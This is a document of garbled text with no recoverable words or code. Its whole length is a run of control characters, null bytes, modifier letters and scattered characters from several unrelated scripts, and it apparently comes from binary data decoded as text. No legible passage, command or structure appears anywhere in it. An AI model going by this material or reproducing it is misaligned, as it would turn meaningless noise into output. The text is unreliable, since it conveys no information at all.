ȰƮ˘ɥʺȰƂȯ Ȱb˧\x00˟\nʽ˙ʵ ȯ ȯŋʰS4ĖñʰSȬ˓ʵ ȯ ȯʃʰSĖij˘\nʻŅʵ ȯ ȰƮ˘ɲʹĖgȯ ȯÑʻȰˁʵ ȯ Ȱb˧\x00˟Ćʽ৚ʺȰƂȯ Ȱb˧\x00˟\nʽක˃˘ȉʹȬÕȯ ȯbʿ˄˧\x00˟qʽ˅ɇʼÞʰS܁ȯ๊˘ੇʽˆ\rʻȱڈȯ ʰwjʵʇʹȬฐʰSȬ॔ȯ ȯئʳȬ୨ʰS\x00ʰw׈ѿ ȬبȬƞʰS²ȯ ȯ¸˧\x00˟ುʰw\x00ȯ ȯəjʵ ˑ\x00॑ȯ ȯ¸˧\x00˟ߵʰSȬࡺʻऊȯIJʰwjʵ ˧\x00˟qʯ ʹȬúȯ ȯǜʿक़ʹȬÅȯ ȯėʰS ȬϠ˧\x00˟ϙʹȬÅȯ ȯėʰS Ȭ˿˧\x00˟ϙʯ ʹȬúȯ ȯǜʿˇ\rʹȬȴȯ ȯ¸ČʰS Ȭ׎ ˍʹȬƠȯ ȯಀʰSȬɝʵ ȯȟ˘ເːݮʹȬúȯ ȯæˈ\x00˪ ʳԈ˘ϯˇ\n˪ ˋ\n˫ ˫ˉ\x00ȯ ȴ¹ʵ͑ ˘ϯ5˨ ʳԈ˘ආʰSȬ؊ʵ ȯ ȶΏ˧\x00˟Ć˪ ʹȬßȯ ȯŋʰS Ėñʻȵګʵ ȯ ȷ٧ʻȯϴʵ ȯ ȵরʰS̰ʵ ȯ Ȱບʻڋʻઠʴ̓S Ȭૈȯ ʰwjʵࢭʰS܋ʻȯϴȯ ʰwjʵ ȯ ʰw’ȯ ʰw\nʵऽȯ ȯÅʵ ˧\x00˟qʹĕgȯ ȯມȟʰw‡ȯ ʰw\nʵɫʸʰwނˈtʹĖgȯ ȯÑ ˩Ŀ˫ˊʾ\x00ȴɭʿ\nʳȬܐȯ ȳėʵ ʿǵˋ˨ ʹȬßȯ ȯŋʰS Ė̒ʳӶʸĿʿȯ ȯÑʵ ˩ˌʹȬßȯ ȯŋʰS Ė̒ʳӶʸĿʳȬඎȯ ȳవʵ ˧\x00˟qʹȬÕȯ ȯ̷ʳȬܼȯ ȱࡘʵ ʹȬÕȯ ȯ̷ʿȯ ȯÑʵˍȯ۷ˋ\nʳȬࢳȯ ȸќʵ ʳȬೕʹȬȴȯ ȯ¸˘օʹȬúȯ ȯୄˋĆʳȬ࢑ȯ ȳًʵ ˋǵˎ˰\x00˱ϭ%ʴ SȬ੣˰ȯ ʰwȯbʵ ʵ ː˰\x00˱’SȬࠨ˰ȯ ʰwȯb˘˰\x00˱\nʵ ˰ȯ ȯċ˧˰\x00˟ฤ˰ȯ ʰwȯb˘˰\x00˱ࢗʰSࣟ˰ȯ ʰw\nʵ ˘˰\x00˱ݚจ˰ȯ ʰw\nʵ ʹȬÕ˰ȯ ȯbː˰\x00˱Ҫ˰ȯ ȯÅʵ ˧˰\x00˟qʹĕg˰ȯ ȯßʹȬÕ˰ȯ ȯbː˰\x00˱ƆȟʰwŽഁʰSȬظ˰ȯ ȯ¹ʵލˏ\x00ຆʰSȬԛȯ ȯ¹ʵ„ʰSĕijː\x00yː\x00ϭ \r\x00 ”ȯғȱڃ  ȯ) ņ ളʰSү ʰw‡ȯ ʰw\nʵɫ˘\x00Ҫʵ ȯ ȯÅˏ\x00\nʹĕgȯ ȯबʵ ȯ ȯ΄ˎ\x00\nʹĖgȯ ȯยȯ ʰw\nʵ ˘\x00Ɔȟʰwˆȯ ʰw\nʵഔʳȬරʵ ȯ ȯċ˧\x00˟૊ˑ\x00ࠏː\x00NʰS Ȭ৅ȯ ȯ¹ʵ୓˒\rʵ ȯ ȯ¸ČʰS Ȭ૵@චʹȬ࣑ʰSȬ൵ȯ ȯҜʰSȬɝʵ ȯޏ˧\x00˟ൺȯ ȯǜʵ˓\r\x00 ČʰS Ȭભ ˍʹȬƠȯ ȯӼʳȬਸȯ ʰw\nʵՏʳȬ๥ ȯW˧\x00˟Ƈ˥\x00 y˔\r\x00 \x00\n\x00 ʹȬßȯ ȯ΄ČʰS Ėൂ5 ʹȬƠ  S4ĖÞȯ ȯ݆οʰSĖij\nʰS\x00 ʰw\x00 ʴ ʻȯࢃ S஭ȯ jʵ॓\nҢ SȬҡ SĖܢȯ ȯb˘ƭ\nҢ S Ȭŗ S Ȭ೴ ӆ އʵ ȯ j˗\nˈƭ\nક SȬ੐ȯ ȯb˘\nʵ ȯ ȯċ˧\x00˟ƭ\nȬγʵ ȯȟ˧\x00˟ƭ\nĚñʵ ȯ ȰīʰSȬƞʵ ȯ ȯÅ˧\x00˟qʹĕgȯ ȯӞ˗\nˈۜ\nȬƞʵ ȯ ȯÅ˧\x00˟qʹĕgȯ ȯӞ˗ʰSȬljˈiʹȬÕȯ ȯb˧\x00˟඄ȯ ȯÑʵ˕\rʵ ȯ ȯÅČʰS ĕñ ˍʹȬƠȯ ȯӼʰSĕijʰSȬɝʵ ȯȟ˧\x00˟’ʰS Ȭ໒˧\x00˟̞ʵ ȯ ȯȝ˖ȯ ʰwjʵௌ˧\x00˟qʰS ĖÞʹĖʇʰʯ¥ ȯ ȯ́ʰwNʰSȬ֞ʵɫʹȬ਻˗ʰSȬĤʰSЌȟʰwŽȯ ʰw/ʸ ʵ˘\x00\r \x00\nÁʳൃʰS4Ȭȡʶȹࠥ ʰw6 ȵγȯ \nʵ1 Z\nˠ ট\nvƟˆ\n0Ɵ \nˠ \nP ෿ˮf \n˯f \n˯ˆ \n\x00ȯ \n\nʵ1\nZ˙ȬǏ˚Ȭȯ˛Ȭ͜˜Ȭ€˝Ȭƒ˞Ȭň˟ˠlˡٖˢ\x00\r \x00\n\x00 \x00 \x00\r ı\n˯O  ȯ) +   ” ”ɟL vƟ5ˮf W ξ\nˆ Wr vƞ5\r i-\rvƟ5ˮf\rW\rξ\nˆ\rWr\rȯʳ\rȯ҈ ฦ Ü  ȯ) +ˣ Ġˣ\r\x00 6vƟ@˭fWԀvƞiO  ȯ) +ˣ ைˤʞ@[©˥\x00\r ȯŠ߬ 0ƞȯ}śȯ]\x00ȯ˜\nȯ ǵ˦\x00\x00 \r\n\n0ƞȯ}śȯ]\x00ȯ˜\nȯ \n\n\n”©\nS \x00ˡȯ \n˧\x00\x00 \x00\n\r \x00 \x00\r\x00\x00\x00\x00 ȯ໇ʰSՎ\rʴ„ʰwȯ߉\rSȬʔ\rSơ\rSȬĤ\rSȬశȯIJʰwjʵ ˧\x00\x00 \x00\n˔ʰwȱ੼\rSȬΡ\rSơ\rSȬʆȯIJʰwjʵ ˧\x00\x00 \x00\nʺ˘คȯ ʰw\nʵ୪ˡȯW˔NʰSȬʍˡȯŠÜˡȯ)+ˡSʦ#Sʥ ”ࠃˡȯW˕NʰSȬʍˡȯŠÜˡȯ)+ˡSʦ#Sʥ ”ॄʵ ȯ ȯ¸ ȯW˓\nʹȬúȯ ȯ௩ʵ ȯ ȱǕʰS̰ʵ ȯ ȰDžˈ૰ˉ଑ʵ„ʰSȬȣʵ ʺȯȠȯ Ȼൡȯ ȹυ ȯW˧\x00˙Ƈ˥\x00 \nʰSȬlj˒P˦\x00 \x00ʨਐȯIJʰwjʵ ˡȯW˧\x00˛຦ˡȯŠÜˡȯ)+ˡSʦ#Sʥ ”؉ȯIJʰwjʵ ˧\x00˛ஏ˖ೞȯ ʰwjʵ ˧\x00˟ٔȟʰwˆʰS²˘જČͼʰS౛ʵ ˥\x00 \nȯ ȯÅ˧\x00˟qʹĕgȯ ȯß˦\x00 \x00ʥໃȯ ʰw\nʵ ʰSơȟʰwˆȯ ʰw\nʵ ˦\x00 \x00ʦ’ʰSȬƞʵ ˥\x00 \nȯ ȯÅ˧\x00˟qʹĕgȯ ȯß˦\x00 \x00ʥധ ʰw\x00ʵ ˥\x00 \nȯ \nʰSơȟʰwŽȯ ʰw/ʸ ʵ ˦\x00 \x00ʦଧH˚\\˥\x00 \n ȯƕ ” ”ɟL vƟ WȰşˤ˯P˒\n˦\x00 \x00ʧ܏H˚\\ȯ ʰw\nʵࡹH˚\\˖ƆාČͼʰSചʰdղH˚\\ ȯƕ ” ”ɟLȯ ʰw\nʵటH˜\\ʰwȵौȯIJʰwٺȯ ʰw\nʵ ˧\x00˜؏H˜#\n\\ȯ Ȼແʵ ˧\x00˜ߗH˜\\˪ ˢ\x00 \nȯ੔ʵ ʰSȬԕˋ/˧\x00˟Ƈ˫ഃH˝\\ʵ ȯ ȯŝ˧\x00˟ƇʹȬÕȯ ȯb˧\x00˟ฮȯࠉʵ ˧\x00˟௲D˞\\ ȯƕ ” ”ƿȯ ʰw\nʵ ȯW˧\x00˞Ƈ˥\x00 \n˦\x00 \x00ʩƆճ ʰSȬԛȯ ȯ¹ʵ ˧\x00˟ఌ˨ˬȯ ˯\n˯0Ơ˯˩˯ˬȯێ˪ˬȯ ˮ\nˬȯ ˯\nˮ0Ơˮ\n˯ˮ˫˯ˬȯЧˮˬȯࣆˬ2˭0Ơ ˮ˭\x00˯˭\x00 ͩ@˧ \x00˟Յʳ໕ʿ ຿³˭\x00° \x00Ÿˠ\x00Éˡаȧ%ʮ\x00ʯʮ2ʯ฾\x00‹ɋԄʯोʮʯ^ࡨʮʯ!ŒȨʮ\x00ʯ\rʰʰʮ௿‡\x00ƒʱ\x00]\x00m \x00œ\nɋʱʮ˴ʯ٘ʯ%\x00ʱ„ડʮԣʯ\x00\nʯ\"E %ü]„B૯ɗښ\n\r\x00 ʮ\x00ʰǒʯ– ʯʰ + ʱ1Œò\x00ʮ\x00ʯ\x00ʰ\x00ʱ\x00ʲ\x00ʳ\r\x00ʴ\x00ʵ0ɳඐ \nʳн\x00ʵʴœ\x00\n¼ \r\x00 \x00ʷ\x00ʸ\x00\n lڗ Åਣ؋ Å௰ʴȨ\x00\nʷʴƒ\x00ʸʴ]\x00\nʸ\x00 Êʮ\x00 ±ʰ\x00 «ʯ\x00 ¶ʴmௐʴmg —ʷ šʷ Cʹ1 ʹ%\x00\x00 \x00\n\x00 l5ʷ ’ʷ 4ʸ ʷ \n0Ȫ च +\nӭʹA ʷ 0Ȫ ư + ʹA:\n\x00¼ EŒʶ\x00'এѷໆΒඕ-̽ࠦ-Cٱ෩-C€פ౴-C€®ࠀࡥ-C€®µ԰े-C€®µâਗ਼ߢ-C€®µâ ๟\n\r\x00ʷ\x00ʸ\x00 \x00\n\x00ʹ\x00 \x00 \x00\r\x00ʺ\x00\x00C\x00ʷÊ\x00ʸ«\x00 ±\x00\n¶\x00ʹȧ̡   ò + ʻ  ӂ\r फ  ɰ ଠ\r\n ԣ\r֮ʺ0Ȫ5\nʺÍɛ\x00ʺ—ɛ\x00ʺšʳ\x00\n\n2ূ೼ӵĹʺ\x00٪ʺ:O Й ò +ʺ ʽ 4ʵ4\nʾu4ǒ¼\rOò+ʻĠʻă\n݊ʼஈʼ\r\x00 \x00\nʠ  ò +\n˴ \n\nෙ ਯ\nຈ ௨\nն ฑǴʽˀ\x00ˁ:%\x00\x00 \x00\n\x00 \x00 6ˀ’ʩʹ ʹ ûˁCLjˁ־20Ȫˀ5\nûˁՔLjˁ੩ӂ ˀ:O\nЙ\n ò\n+\nʽ \nt਎Ĺ\x00ض߅ˀ4ඃˀ4ʵˀ4Pʾˀuˀ4ǒ\n µ âˀ’5ʹ‹\nʹ‹Ғ ଣ Œʾ\x00\x00 \x00\n\rˀ\x00 \x00ˁ\x00˂\x00 \x00˃\x00\r\x00˄\x00˅\x00ˆ\x00ˇ\x00ˈ\x00ˉ\x00ˊ\x00˄4\x00˅\n€ˆ\n®ˇ\n-ˈ\nCˉʹ ˊ·ˀˀ ˀV ˄ˀU ઘ ູ ߞ ໛ ˉˊ ˉˊѯ \x00ˉˊ! / ࠪ ˉˊ ˉˊƐ \x00ˉˊ! / Փˉˊ!ˇ˄(ˀʡˉˊঀ ય ൏˂˄(ˀ ˉˊĢ 5ˀ\"˂ɏˊ̟ ࢇ ˉˊ ˁ˂ຨ / ୗˉˊ!˅˄(ˀस ˉˊ ˉˊʁ \x00ˉˊ! / ߹ ഈˊǺ ˊ\x00 ˁˁ˂ˉˊ!ˁˉ ˉ Ǫ ࠻ˊù ˊ\x00 ˁˁ˂ˉˊ!ˁˉ Ƶ ؆\r˄(ˀˀ\"\ri˃˄(ˀˉˊ!ˆ˃T˄(ˀк ഺ ˉˊ\nෝ\nЕ \x00ˀ / ૴ˊǍ ˊ\x00 ˁˁ˂ ˁˉ ˉ |ˉ ͫ ؗ\r˄(ˀˀ¤\ri˃˄(ˀˉˊ!ˈ˃T˄(ˀк ३ ల ഭˊù ˊ\x00 ˁ˂eˉ Ƶ ૻˊù ˊ\x00 ˉˊ!ˁ˂eˉ Ƶ ୧ ˉˊ ˉˊല \x00ˉˊ! i ˉˊˁˉˊƑˁʷ˄(ˀѕ / צ ࠎˉˊࡣ ঱˄ˀϵ˂˄(ˀ ʷ˂˄ˀ \x00ˉˊ! / ຐ ˉˊ ˁ˂α /ˉˊ!ʺ˄(ˀʡ ࢵ Ҙ˂ˉˊˁˉˊr ড ˉˊ ˁ˂ / ॕˉˊ!˄(ˀʢ˃˄(ˀ˂˄(ˀˁˆ˃r ຯ ˉˊ!ˁ˂Ҏ ৄˊǺ ˊ\x00 ˉˊ!ˁ˂eˉ ˉ Ǫ ໤ ˉˊ ˉˊѬ \x00ˉˊ! i ˁˁ˂ˉˊ!ˁˬ ࢿ బ ড়ʿ\x00˄(ˀ˄(ˀ\r˄(ˀ˄(ˀˀ͘˅\x00\n\n\n෉ˀ ˀ\"\r/ ζ˂˄(ˀˁˇ/ ܠ ˉˊ ˉˊм \x00ˉˊ! i ˁˁ˂ ˁˬ ޣ യˊù ˊ\x00 ˁˁ˂ ˁˉ Ƶ ࡮˄ˀƤ˂ʱ˄(ˀď˄ˀ˂\x00ˁˉˊr ൗ ˉˊ\r˄(ˀ δˀ\"\ri˂˄(ˀ ˉˊ 5ˀ\"˂ɏˊ̟ ே ସˉˊ઎ ࣗ ˉˊ ˉˊॅ \x00ˉˊ! / භ ˉˊˁˉˊˉˊ!ˁ ʐ ˉˊ ˉˊʧ \x00ˉˊ! / ත ˉˊ ˉˊ£ \x00ˉˊ! / ޺ˉˊ!ʳ˄(ˀʡ ඨ˄ˀХ˂ʱ˄(ˀď˄ˀ˂\x00 ˉˊˉˊ! ˂ʐˊǺ ˊ\x00 ˁˁ˂ ˁˉ ˉ Ǫ ؙ ෂ˂˄(ˀˉˊ!ʽ¼˂\n’ ߁ˊǺ ˊ\x00 ˁ˂eˉ ˉ Ǫ ౥ Ϻˉˊˉˊ! i\r˄(ˀˉǑˊJ\r\x00ˊ\nˊ¤\r\x00 ˉˊ!ʶˁ˂’ ր ౺ ˉˊˁˉˊƑˁʱ˄(ˀѕ / ފ ˉˊˉˊߘ / Қ˂˄(ˀˁʺ/ ˁ˂ය ೪ ฯ\nإˀ / ঊ ˉˊ ˉˊѭ \x00ˉˊ! / ٥ˉˊ౯˄ˀϵ˂˄(ˀ ʸ˂˄ˀ \x00ˉˊ! / ପ ˉˊ ˉˊđ \x00ˉˊ! / ْ ˉˊˁˉˊƑˁ* ’ ѐ˂˄(ˀˁʳi˂˄(ˀˁ˅È ৬ ٳ ๓ م˄ˀХ˂ʷ˄(ˀď˄ˀ˂\x00 ˉˊˉˊ! ˂r ֜ˉˊ௔ ˉˊ ˉˊ๵ \x00ˉˊ! ͨ ณ ଙ ˉˊ ˉˊđ / زˊพ ˊ\x00 ˉˊ!ˁ˂eˉ ˉ |ˉ ʼnˉ ћˉ ৙ ൞ˉˊ!ˁ˂ණ\r˄(ˀˊ¤\r\x00ˉǑˊ\x00ˊ\r\n ˁ˂޽ˁ\x00’ ୑ ০ ˉˊ ˉˊ஑ \x00ˉˊ! / ֭ˉˊ౰ˁ˂ļ ৲ˊǨ ˊ\x00 ˁˁ˂ ˁˉ ˉ |ˉ ʼnˉ Դ ˉˊ ˉˊ̈ \x00ˉˊ! / ఋ ˄(ˀļ ಲ ˁ˂඾ ে˂˄(ˀ  ˂ʐˊǍ ˊ\x00 ˁˁ˂ˉˊ!ˁˉ ˉ |ˉ ୺ ථ ׻ ܳ˂˄(ˀˉˊ! ˂r ఁˊǨ ˊ\x00 ˉˊ!ˁ˂eˉ ˉ |ˉ ʼnˉ ʲ ܫ ˉˊ ˉˊৼ \x00ˉˊ! i˂˄(ˀ ˉˊĢ ˀ\"˂ఛ ࣈ ಒ ˉˊ˂˄(ˀˁʲ˂\rˁ \rɟ \r˄(ˀ໻ˀ\x00ˀ\"\r/ ఍ ˁ˂Ҏ ഼ ਟˁ˂ʢ˂˄(ˀ ˉˊˉˊ! ˂r ໘ ๩ ˉˊˉˊ߄ / ๠ ೅ˉˊˉˊ! / כ ˉˊ ˉˊඥ \x00ˉˊ! i ˉˊ ˁ˂Ǘ / ո˂˄(ˀˁˉˊr ۳ˊǍ ˊ\x00 ˁ˂eˉ ˉ |ˉ ͫ վ ˉˊ ˉˊѮ \x00ˉˊ! iˊǍ ˊ\x00 ˉˊ!ˁ˂eˉ ˉ |ˉ ૥ ృ ڙˊǨ ˊ\x00 ˁ˂eˉ ˉ |ˉ ʼnˉ ʲ ੆ ˉˊ ˉˊॱ \x00ˉˊ! / ֹ ˉˊ ˁ˂ถ i˄ˀƤ˂ʷ˄(ˀď˄ˀ˂\x00ˁˉˊГ ໼ ܙ ˉˊ ˉˊĻ \x00ˉˊ! È ਨ\r˄(ˀ ˉˊˀऱ˃¡ ˁ˂˃\x00ʾ\x00ˀ\x00ˀ\r\x00\nN\ņˀ ֱˀ\"\rઽ ດ רˁ˂ʢ ˉˊ ˁ˂ \x00ˉˊ! ͨ ஧ Ο˃˄(ˀ˂˄(ˀˁˈ˃r ೧˂˄(ˀ ˉˊ  ˂r ߱ˊǨ ˊ\x00 ˁˁ˂ˉˊ!ˁˉ ˉ |ˉ ʼnˉ ʲˉˊෑˁ˂ļ ޞˊ\x00ˁˉ\x00˂ˊ/ ৢ\r˄(ˀˉǑˊJ\r\x00ˊ\nˊ¤\r\x00 ʶˁ˂’ ఽ ˉˊ ˁ˂੶ i ˉˊ ˉˊѤ \x00ˉˊ! tʹ‹ˉ¼%˄(ˀඊҘ˂ˉˊˁˉˊrী˃˄(ˀ˂˄(ˀˁˆ˃rζ˂˄(ˀˁˇi˄ˀƤ˂ʱ˄(ˀď˄ˀ˂\x00ˁˉˊr๜Қ˂˄(ˀˁʺ/ѐ˂˄(ˀˁʳ/ـ˂˄(ˀˁ˅i˂˄(ˀˁˉˊrࢆ˄ˀƤ˂ʷ˄(ˀď˄ˀ˂\x00ˁˉˊrΟ˃˄(ˀ˂˄(ˀˁˈ˃լˊ\x00ˁˉ\x00˂ˊyʿ\x00\x00 \x00\n\x00 \x00 \x00\r\x00\r\x00\n¤ \x00 ¤ɀʾ\x00 \x00 \"\x00³\r \x00ʾ\x00 \x00  \x00୿âµຌ \" \x00ʾ\x00 \x00 \n\x00\nഒ෋\x00Е౜ó҂xÃnÃE”ȬֆȬڷȬ຤Ȭ௥Ȭג^”Ȭ֧ȬൊȬ෸Ȭ؛a \r\x00 ńȯĔŗ˂ȯ)͖ȯ Ƿ üÃk\"ȯє ȯǽȬбaĵ ȯӾȬد%\x00\x00 \x00\n\x00 \x00 \x00\r ü\x00\nüZ\x00 ȯſ ȯ Ȭَ ȯţȬΣȬm$Ȭϼ+ ȯ๢  ̈Ȭбaĵ ȯӾȬܿ ĵ \n ȯ ɇȰഖkMȬೊȬࡩ ȯໟkMȬ޶a \n \nȯW 0Ȫ MȬڍ ŭ\r\né …\rRȬ«Ȭ` …\rRȬ¥Ȭ` …\rRȬšȬ` !\r$Ȭ̎  \r\x00 \x00\n\x00 \x00 \x00\r\x00\x00\x00\x00\x00\x00ȯƲüZ\x00Ȱ˟\n- C €\r®͂FȬछ+HȬ໪JȬӧJȬ১JȬ૔JȬࣰLJุRȬ୽,\npȬ൭\nRȬɭFȬĔ, $ ໗ $\r/FȬಊ ™ ™\rFȬأ, $ Ԥ $\rԤ $\r/FȬड ™ ™\rL ,ܮ^ɇe†Ȭອ\r\x00\r \x00 , pȬՙ RȬí \n\x00\n ٩ƌ\nǙೝ­ Ǚ஁ы Ǚقɺ\rǙ஽ˡෛԵ3ôʮ\rʯ\x00ʰ\x00ʱ\x00ʲ\x00ʳ\x00ʴ\x00ʵ\x00ॉʯʮȰՕʰʮȯӷʱʮȯڠʲʮȶԠʳʮȱٷʴʮȰ޹ʮȸࠒʮȺ͍ʮȸݪ_ʵ੉ȬۗʮȰɼʮȜʾȲŧʰ\n ɟ ʮȯŔඳ _Īʮ\x00Ȼ® tʊ\n\nĉµ#ʵÃsຼ\nȯ›ȯӫ \x00\nȯ›Ȱԉ\rʶˁ\x00˂\x00˃\x00˄\x00˅\x00\rˆ\x00\x00 \x00\n\x00 \x00 ˆะ˄˄ͪ˄źˆs¦ʷˁ\x00˂\nˆs»ʸˁ\x00˂\nˆsÂʹˁ\x00˂\nˆsÀʺˁ\x00˂\nˆsžʻˁ\x00˂\nʼȯˆ\x00ˁ\x00˂Ғ˂ ɟඵ=ʴ=ˆs„ɟ#ˆs„ู˄జˆµȹ෤ɧ\r\x00Ȭૼˆs\x00 2\nˆsҰ ¡@ ӹ ष мɟ  ў  ॵɟΐ  ޓ ¡ @  Ѭ\n5\n    ݦ ɟ=˅ɟ#˅ވˆȰƓˁ\x00 ೉˃ȯƏ˃ \x00΢\rʶȯˆ\x00ˁ\x00˂\x00˃\x00˄\x00˅yʷ\x00Ә ɟ@ʰʽʰ\x00\x00ˈʾ\x00ʰ³ ìʸ\x00'ʳ̸ ɟ@ʳȱɂ\x00ˈʳȱɻ³ ìʹ\x00\r 6ʲʓ ʿ„ ɟ@ʲ T˚ʲ T̘\nìʺ\x00'ʱ̸ ɟ@ʱȱɂ\x00ˈʱȱɻ³ ìʻ\x00\r ÁɄౘ ˀȯƎȯ໰ ȳא ȯǁȸԪȴ׺ ɟʩ ȯ;\x00\n ȹทॽ ȱফG ȯ9ԧ\nìʼˁ\x00˂\r˃\x00\x00˃اʴ5²ʴȯȏȰϡ\nȯ୫\n\x00ȸ۹ \x00˂ ɟ ȰȆ ȰȆ\rآ ʪ\nʪ \r\x00 ȯŸȰЀ ȷ੅Ȱใȯࣳ \r\x00 \x00\n\x00 ȯŸȰЀȲрȲȥȰߨ ȲіȰܒȺú\n ȲκȰė \nȵ،ˁ೛˂ۅȰಯ\r\r\x00 \x00\n\x00˄ȯŸȰखȲрȲȥȰຝ˃s„ɟɊ ȲіȰଵ\n ȲκȰė˄\nȯǰˁ\n˄ȰȆ \nȰय़ ˄Ȱޛɟ ˃s„ɟ˃s„˄Ȱৣȸ໨ʽ\x00\x00 \r\n\x00 \x00 \x00\r ʮȲ୻ NɄhȯ\x00ȯŃȯߌȬɘɄhȯ\x00ȯڢ\nɄhȯ\x00ȯŃȯċ\nȬ˜\nɄhȯ\x00ȯ޼ Ʉhȯ\x00ȯĖ\nഡ\rɓȯu\n\n Ȭ˜ \rɓȯ\x00 Я\nଡ଼ȯŃȯ­  \rȯŃȯ­ E ೤ȯŃȯ­ ʾ\x00\r \x00\n\x00 \x00 Ž ȯҶ ȯC Ʉðȯ\x00ɰȶ࣮\n\n ȯ)\nV  \nДɄ»ȯ ৒ ɒȯ ǡ ȯঞɄhȯ \x00 ࢷʮȵइɒȯ \x00 ȯW ȯ৩ʿɲȯʮȯĚȱȿɰȷජˀ\x00\x00 \r\n ɟʯȯƄŽ\nʯȯƄ/\nʯȯÙ\n\nȯǁȰϕȰƁ\nȯǁȹಹȴƩ \nȯڭP ʯȯŢȯȖ\nǣ\n ʰʽʰ\x00ȲŧʮȯܺʮȯŔʰ \x00\x00 \x00\nʶȯ̃\x00ɟ\x00\x00ɟ\x00 \x00\n\r\x00ʶȯ̃\x00\x00ɟyõϗiȯஃöϗW÷\rՃ[ĉzfࢍʫȲƹ඿Ȳ઀zfົüf୴ࡓ૓zfภ‘़fڲø%\x00Oβˆ̺‘կ[ࠬÜβf̺zf৞ݧ€ȯ)͖€ĽXǦĶɄЪȯĝɄnjɛȰ໢ÿ þಽɇȯØɄțăȰ~Ɉ૾ ɄвɽɽȰՌɰɛȶ) ɄĹȪȯ›ȯӇɬ՟ ƠȯӤ‘÷ÿɤ<ɻɄƗɤȻľɄફɇȸľ ÿɊɇSɄݜɠ7 ÿQɈ=ɱ#ɸĒɉÿɄ̕ɣÿɑ#ɪ ü”ȬſȬวȬƶȬŷ̚ࡱ ÿɉ=Ʉچɍ<ɺ7ÿɄആù ʛɔȯ›ȯʰ{ʪ”ȷ।ȷ ȶ-ȸŏȶNjȳ˟ȹʾȸનȹࠩȴµȳɑȳKȴɒȻɒȻƳȳభȶCȷǛȹƳȵdȻNJȶ෕ȸ͜ȴĖȵƳȹŧȴύȵʀȻƨȺŧȶȒȶӖȷҼȺȹǛȸÆȷ݈ȴƎȻňȳ૸ȺʨȸʨȶΘȶ.ȷʨȹžȸϡȷЇȷÆȷȳҊȷƶȺනȹÆȺύȸſȳŏȷ௱ȵƁȷӄɋҦɏɤȯӗɺɨ\ròༀȭ\x00Ȭ\x00Ȯ\x00ɡࣩɄÿɄஓɬ ÿ,ɬɮɤƔɄǎÿ þ੊ ʘ‚wȯÿȯ̾ÖAɵਖ਼ ÿQɕ=ɤ#Ʉఓɓÿ þŹɗ৐þ˵ÿ þમɄԺɟ̚ࢧʑȭ ɭɵȯ›ȯʰ ÿɻSɏɏɄऋ ÿȹɨԫɫ>ɄЬɄɎʝåɅÛ ʚʘȯʭȯɠɛðɗȯƷ ÿù=ɈÀɒ#ɷ7ÿɭɹɄÛɄ̙ɇȯľĆȔ ÿ‚Ʉਸ਼ɴɄৠɄ÷ɲɤȯѝɛ ïɄೋɤȯͤ ÿɶ=ɤSɰɆ7ɝɛȺҫɛìɄ໑Ʌûɛȯ๎ɽɛȸૃɾɤȺऎɄƗɄþ ƠȯӤXøɘɄՉʉÛ\rʁ2ʂ2ʃ2ʄ2ʅ2ʆÛÿɺ<ɍɼɛȺࣷÿ þϳɄҨɻȯԂɄܧɄЪɻȯ֙ɶ೓ÿɆ<ɛÿɄ๪ɺÿ þ๒ÿ þǐɄࠝɤȯ෧ÿɞ>ɒɛɄʕÿɄܭùȫȩఆɉಂ ÿɄ൫ù=ɘ>ɖ7ÿɬ<ɉÿɍɘɉȯĝɫ՗ɛ ñ ÿ‚ɠÀɇ>Ʉࢯɣÿɒɸʡå̚ýÿ þેÿɠ#ɄþɄ͎ɤȱ໠ɄңăȰƝÿɤɋÿɥ>ɌɄঌɄୟ ʙ¤wȯÿȯ̾ɤɗȯˠÿɷɄþ ÿɹ=ɨSɍ>ɉ7úɤȯχ̚఩ɄՈɻȯʉɮɛȲິ ɌȪȯ›ȯѨ ÿɄҗɄಸɯ<ɛ7ÿɣ#ɰ ÿ,Ʉষɠ>ɰĒɶɍɛȰѫɄুɇาØAÿɄ९ɛȱݢɄ׍ȬĊ ÿȹɬ=Ʉۮɰ½ɄɎʖ¦ ÿɩɄ਋Ʉੴɷ7 ÿɄۏɜÀɄ਷Ʉຠÿɓ<ɴ ʇɄðȯȶ૨ɺٜÿɺɸɄദɄۿ̚થÿɄϫɫɭăȰƸɘɛȳŷ ÿQɄॏɯ#ɌƔɄ̂ÿ þħɔහÿɞ#ɳ ÿɚɯԫɥɊ7ɄңɤȯͬɄఞɇȰ͢ɤăȰģʠåþйɗăȰƸÿɄЅɄҀɗȯøÿɄೇɄǎɢࣔ×Aɓɤȯծù෢ĄȔɄ߻ɛȲͬ ÿQɪSɝ<Ʉ෭ɄɎɄҨɋɋȯȲ ÿ,ɹɆɇĒɄҀ ÿɄਇɒÄɷ#Ʉਃÿɘ>Ʉˏÿɛɝÿ þڳ ÿ‚Ʉ੹ɲ>ɄڱɄþ ɴɛȰѠǫ̇ɄƥăȰģʞåɧɄ͟ ɄȞɔȯ›ȯʰɞɇȰľɛǶ ÿɄҗɄ৖ɻɄۑɪ੤Ʉ౶ăȰϲɄțɤȯҁÿɊ<ɄƧʐåɪăȰ๷ɛ êÿ þƣɛîɄƥăȰɰɛíÿɚ<ɳ Ɵȯ›ȯʯöɣٽɝăȰҺɄƗɋÿɜɎɄเɄ͋ɇȺѶɠȯmɄϢɤȰԯ ɄڌȬȯȬ͒Ȭଐ ÿɆɄນɢ#ɔ7 ÿɄӦɄڪɄäɄΩÿɻ#ɬ̚ػʓåɄ̙ȯŶÿɢ<ɄȄɪăȰΈĬôɛ7ɇȯũ ÿQɏɍ>ə§ɠʔɟɦÛąȔÿɬ>ɺɄඬȬØÿɧɕ%ʬ”ȬॖȬ෱ȬЇȬۥȬɿȬഹȬܜȬܾȬಳȬલȬƎȬ೙ȬžȬבȬࢸȬࠊȬఃɍȯmÿ þ֫ÿɆ>ɺʒåɹȯ¬ɔɲɧɛȱѝɱంɖɛǫ̇ ÿ,ɄඓɄॹɓĒɺɳ຾ÿɲ#ɈɄȞăȰƝÿɄʍɛÿɖ<ɉÿ þԦʥ²ʦȬ‰ʧȬ.ʨȬKʩȬĘɇɄϟɛƖ ÿ,ɄԽɄঐɄޚɪɛë̚۽ ÿ,ɱSɄ຃ɨ§ɏɛ܂ÿ þ϶ÿɢ#ɄӒćȔɠɥ 